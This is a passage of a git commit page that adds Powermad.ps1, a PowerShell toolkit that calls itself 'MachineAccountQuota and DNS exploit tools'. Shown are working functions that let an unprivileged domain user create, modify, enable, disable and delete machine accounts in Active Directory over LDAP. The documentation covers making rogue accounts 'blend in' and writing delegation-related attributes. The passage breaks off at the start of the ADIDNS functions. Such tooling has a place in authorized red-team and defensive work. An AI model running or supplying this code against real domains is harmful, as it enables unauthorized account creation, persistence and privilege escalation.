aboutsummaryrefslogtreecommitdiff
path: root/Powermad.ps1
diff options
context:
space:
mode:
Diffstat (limited to 'Powermad.ps1')
-rw-r--r--Powermad.ps13944
1 files changed, 3944 insertions, 0 deletions
diff --git a/Powermad.ps1 b/Powermad.ps1
new file mode 100644
index 0000000..6a7f50e
--- /dev/null
+++ b/Powermad.ps1
@@ -0,0 +1,3944 @@
+<#
+Powermad - PowerShell MachineAccountQuota and DNS exploit tools
+Author: Kevin Robertson (@kevin_robertson)
+License: BSD 3-Clause
+https://github.com/Kevin-Robertson/Powermad
+#>
+
+#region begin MachineAccountQuota Functions
+
+function Disable-MachineAccount
+{
+ <#
+ .SYNOPSIS
+ This function disables a machine account that was added through New-MachineAccount. This function should be
+ used with the same user that created the machine account.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ Machine accounts added with New-MachineAccount cannot be deleted with an unprivileged user. Although users
+ can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is
+ just left in a disabled state. This function provides that ability by setting the AccountDisabled to true.
+ Ideally, the account is removed after elevating privilege.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to disable the machine account.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the computers OU.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER MachineAccount
+ The username of the machine account that will be disabled.
+
+ .EXAMPLE
+ Disable a machine account named test.
+ Disable-MachineAccount -MachineAccount test
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$MachineAccount,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if($MachineAccount.EndsWith('$'))
+ {
+ $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
+ }
+ else
+ {
+ $machine_account = $MachineAccount
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "CN=$machine_account,CN=Computers"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ if(!$directory_entry.InvokeGet("AccountDisabled"))
+ {
+
+ try
+ {
+ $directory_entry.InvokeSet("AccountDisabled","True")
+ $directory_entry.SetInfo()
+ Write-Output "[+] Machine account $MachineAccount has been disabled"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ }
+ else
+ {
+ Write-Output "[-] Machine account $MachineAccount is already disabled"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+}
+
+function Enable-MachineAccount
+{
+ <#
+ .SYNOPSIS
+ This function enables a machine account that was disabled through Disable-MachineAccount. This function should
+ be used with the same user that created the machine account.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function sets a machine account's AccountDisabled attribute to false.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to disable the machine account.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the computers OU.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER MachineAccount
+ The username of the machine account that will be enabled.
+
+ .EXAMPLE
+ Enable a machine account named test.
+ Enable-MachineAccount -MachineAccount test
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$MachineAccount,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if($MachineAccount.EndsWith('$'))
+ {
+ $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
+ }
+ else
+ {
+ $machine_account = $MachineAccount
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "CN=$machine_account,CN=Computers"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ if($directory_entry.InvokeGet("AccountDisabled"))
+ {
+
+ try
+ {
+ $directory_entry.InvokeSet("AccountDisabled","False")
+ $directory_entry.SetInfo()
+ Write-Output "[+] Machine account $MachineAccount enabled"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ }
+ else
+ {
+ Write-Output "[-] Machine account $MachineAccount is already enabled"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+}
+
+function Get-MachineAccountAttribute
+{
+ <#
+ .SYNOPSIS
+ This function can return values populated in machine account attributes.
+
+ .DESCRIPTION
+ This function is primarily for use with New-MachineAccount and Set-MachineAccountAttribute.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .PARAMETER Credential
+ PSCredential object that will be used to read the attribute.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the computers OU.
+
+ .PARAMETER Domain
+ The targeted domain. This parameter is mandatory on a non-domain attached system. Note this parameter
+ requires a DNS domain name and not a NetBIOS version.
+
+ .PARAMETER DomainController
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER MachineAccount
+ The username of the machine account that will be modified.
+
+ .PARAMETER Attribute
+ The machine account attribute.
+
+ .EXAMPLE
+ Get the value of the description attribute from a machine account named test.
+ Get-MachineAccountAttribute -MachineAccount test -Attribute description
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$MachineAccount,
+ [parameter(Mandatory=$true)][String]$Attribute,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if($MachineAccount.EndsWith('$'))
+ {
+ $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
+ }
+ else
+ {
+ $machine_account = $MachineAccount
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "CN=$machine_account,CN=Computers"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $output = $directory_entry.InvokeGet($Attribute)
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+ return $output
+}
+
+function Get-MachineAccountCreator
+{
+ <#
+ .SYNOPSIS
+ This function leverages the ms-DS-CreatorSID property on machine accounts to return a list
+ of usernames or SIDs and the associated machine account. The ms-DS-CreatorSID property is only
+ populated when a machine account is created by an unprivileged user. Note that SIDs will be returned
+ over usernames if SID to username lookups fail through System.Security.Principal.SecurityIdentifier.
+
+ .DESCRIPTION
+ This function can be used to see how close a user is to a ms-DS-MachineAccountQuota before
+ using New-MachineAccount.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .PARAMETER Credential
+ PSCredential object that will be used enumerate machine account creators.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the computers OU.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .EXAMPLE
+ Get the ms-DS-CreatorSID values for a domain.
+ Get-MachineAccountCreator
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "CN=Computers"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ try
+ {
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ $machine_account_searcher = New-Object DirectoryServices.DirectorySearcher
+ $machine_account_searcher.SearchRoot = $directory_entry
+ $machine_accounts = $machine_account_searcher.FindAll() | Where-Object {$_.properties.objectcategory -match "CN=computer"}
+ $creator_object_list = @()
+
+ ForEach($account in $machine_accounts)
+ {
+ $creator_SID_object = $account.properties."ms-ds-creatorsid"
+
+ if($creator_SID_object)
+ {
+ $creator_SID = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID_object[0],0)).Value
+ $creator_object = New-Object PSObject
+
+ try
+ {
+
+ if($Credential)
+ {
+ $creator_account = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/<SID=$creator_SID>",$Credential.UserName,$credential.GetNetworkCredential().Password)
+ $creator_account_array = $($creator_account.distinguishedName).Split(",")
+ $creator_username = $creator_account_array[($creator_account_array.Length - 2)].SubString(3).ToUpper() + "\" + $creator_account_array[0].SubString(3)
+ }
+ else
+ {
+ $creator_username = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID)).Translate([System.Security.Principal.NTAccount]).Value
+ }
+
+ Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_username
+ }
+ catch
+ {
+ Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_SID
+ }
+
+ Add-Member -InputObject $creator_object -MemberType NoteProperty -Name "Machine Account" $account.properties.samaccountname[0]
+ $creator_object_list += $creator_object
+ $creator_SID_object = $null
+ }
+
+ }
+
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ Write-Output $creator_object_list | Sort-Object -property @{Expression = {$_.Creator}; Ascending = $false}, "Machine Account" | Format-Table -AutoSize
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+}
+
+function New-MachineAccount
+{
+ <#
+ .SYNOPSIS
+ This function adds a machine account with a specified password to Active Directory through an encrypted LDAP
+ add request. By default standard domain users can add up to 10 systems to AD (see ms-DS-MachineAccountQuota).
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ The main purpose of this function is to leverage the default ms-DS-MachineAccountQuota attribute setting which
+ allows all domain users to add up to 10 computers to a domain. The machine account and HOST SPNs are added
+ directly through an LDAP connection to a domain controller and not by attaching the host system to Active
+ Directory. This function does not modify the domain attachment and machine account associated with the host
+ system.
+
+ Note that you will not be able to remove the account without elevating privilege. You can however disable the
+ account as long as you maintain access to the account used to create the machine account.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to create the machine account.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the computers OU.
+
+ .PARAMETER MachineAccount
+ The machine account that will be added.
+
+ .PARAMETER Password
+ The securestring of the password for the machine account.
+
+ .EXAMPLE
+ Add a machine account named test.
+ New-MachineAccount -MachineAccount test
+
+ .EXAMPLE
+ Add a machine account named test with a password of Summer2018!.
+ $machine_account_password = ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force
+ New-MachineAccount -MachineAccount test -Password $machine_account_password
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$MachineAccount,
+ [parameter(Mandatory=$false)][System.Security.SecureString]$Password,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")
+
+ if(!$Password)
+ {
+ $password = Read-Host -Prompt "Enter a password for the new machine account" -AsSecureString
+ }
+
+ $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password)
+ $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR)
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ $Domain = $Domain.ToLower()
+ $machine_account = $MachineAccount
+
+ if($MachineAccount.EndsWith('$'))
+ {
+ $sam_account = $machine_account
+ $machine_account = $machine_account.SubString(0,$machine_account.Length - 1)
+ }
+ else
+ {
+ $sam_account = $machine_account + "$"
+ }
+
+ Write-Verbose "[+] SAMAccountName = $sam_account"
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "CN=$machine_account,CN=Computers"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ $password_cleartext = [System.Text.Encoding]::Unicode.GetBytes('"' + $password_cleartext + '"')
+ $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
+
+ if($Credential)
+ {
+ $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential())
+ }
+ else
+ {
+ $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
+ }
+
+ $connection.SessionOptions.Sealing = $true
+ $connection.SessionOptions.Signing = $true
+ $connection.Bind()
+ $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
+ $request.DistinguishedName = $distinguished_name
+ $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null
+ $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$sam_account)) > $null
+ $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","4096")) > $null
+ $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "DnsHostName","$machine_account.$Domain")) > $null
+ $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "ServicePrincipalName","HOST/$machine_account.$Domain",
+ "RestrictedKrbHost/$machine_account.$Domain","HOST/$machine_account","RestrictedKrbHost/$machine_account")) > $null
+ $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "unicodePwd",$password_cleartext)) > $null
+ Remove-Variable password_cleartext
+
+ try
+ {
+ $connection.SendRequest($request) > $null
+ Write-Output "[+] machine account $MachineAccount added"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+
+ if($error_message -like '*Exception calling "SendRequest" with "1" argument(s): "The server cannot handle directory requests."*')
+ {
+ Write-Output "[!] User may have reached ms-DS-MachineAccountQuota limit"
+ }
+
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+}
+
+function Remove-MachineAccount
+{
+ <#
+ .SYNOPSIS
+ This function removes a machine account with a privileged account.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ Machine accounts added with MachineAccountQuote cannot be deleted with an unprivileged user. Although users
+ can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is
+ just left in a disabled state. This function provides the ability to delete a machine account once a
+ privileged account has been obtained.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to delete the ADIDNS node.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS node.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER MachineAccount
+ The machine account that will be removed.
+
+ .EXAMPLE
+ Remove a machine account named test with domain admin credentials.
+ Remove-MachineAccount -MachineAccount test -Credential $domainadmin
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$MachineAccount,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if($MachineAccount.EndsWith('$'))
+ {
+ $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
+ }
+ else
+ {
+ $machine_account = $MachineAccount
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "CN=$machine_account,CN=Computers"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $directory_entry.psbase.DeleteTree()
+ Write-Output "[+] Machine account $MachineAccount removed"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+}
+
+function Set-MachineAccountAttribute
+{
+ <#
+ .SYNOPSIS
+ This function can populate an attribute for an account that was added through New-MachineAccount. Write
+ access to the attribute is required. This function should be used with the same user that created the
+ machine account.
+
+ .DESCRIPTION
+ The user account that creates a machine account is granted write access to some attributes. These attributes
+ can be leveraged to help an added machine account blend in better or change values that were restricted by
+ validation when the account was created.
+
+ Here is a list of some of the usual write access enabled attributes:
+
+ AccountDisabled
+ description
+ displayName
+ DnsHostName
+ ServicePrincipalName
+ userParameters
+ userAccountControl
+ msDS-AdditionalDnsHostName
+ msDS-AllowedToActOnBehalfOfOtherIdentity
+ SamAccountName
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .PARAMETER Credential
+ PSCredential object that will be used to modify the attribute.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the computers OU.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER MachineAccount
+ The username of the machine account that will be modified.
+
+ .PARAMETER Attribute
+ The machine account attribute.
+
+ .PARAMETER Value
+ The machine account attribute value.
+
+ .EXAMPLE
+ Set the description attribute to a value of "test value" on a machine account named test.
+ Set-MachineAccountAttribute -MachineAccount test -Attribute description -Value "test value"
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$MachineAccount,
+ [parameter(Mandatory=$true)][String]$Attribute,
+ [parameter(Mandatory=$true)]$Value,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if($MachineAccount.EndsWith('$'))
+ {
+ $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
+ }
+ else
+ {
+ $machine_account = $MachineAccount
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "CN=$machine_account,CN=Computers"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $directory_entry.InvokeSet($Attribute,$Value)
+ $directory_entry.SetInfo()
+ Write-Output "[+] $directory_entry updated"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+}
+
+#endregion
+
+#region begin DNS Functions
+
+function Disable-ADIDNSNode
+{
+ <#
+ .SYNOPSIS
+ This function can tombstone an ADIDNS node.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function deletes a DNS record by setting an ADIDNS node's dnsTombstoned attribute to 'True' and the
+ dnsRecord attribute to a zero type array. Note that the node remains in AD.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to tombstone the DNS node.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS node.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER SOASerialNumber
+ The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
+ DNS server and querying an SOA record.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Tombstone a wildcard record.
+ Set-ADIDNSNodeTombstone -Node *
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
